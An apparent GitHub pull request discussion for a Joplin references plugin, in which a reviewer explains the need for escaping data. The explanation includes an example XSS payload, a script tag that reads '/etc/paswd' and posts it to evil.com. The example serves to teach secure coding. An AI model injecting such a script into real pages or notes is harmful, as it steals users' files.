Closed xUser5000 closed 3 years ago
To give you an example why escaping data is important, imagine the following scenario:
)<script>const passwords = await fetch('file://etc/paswd'); await fetch({ method: 'post', data: passwords, url: 'https://evil.com/mwa-ha-haa.php' })</script>
Now when Bob use one of these references, you code inserts it like this:
[@author]()<script>const passwords = await fetch('file://etc/paswd'); await fetch({ method: 'post', data: passwords, url: 'https://evil.com/mwa-ha-haa.php' })</script>
;
So now Bob has injected a malicious script in his note without knowing it. I think in practice this would be blocked in Joplin but it's just an example. Attackers can be very creative and even when you think you've filtered everything correctly they might still find a way around. So a first step against this kind of attack is to be careful with escaping all data.
Of course it's also important from a reliability point of view since even non-malicious data could break if it's not escaped properly, for example if it contains (
or quotes, etc.
Thanks for the explanation, I will make sure to read a lot about this topic and fix the bugs.
DONE
That's good?
Looks good now, let's merge!
What has been done
getReferenceById()
in theData Store
classformatReference
Screenshots
A slight dark background appears on the selected reference and a darker one appears when hovering.
References after being added to the note content.
Demo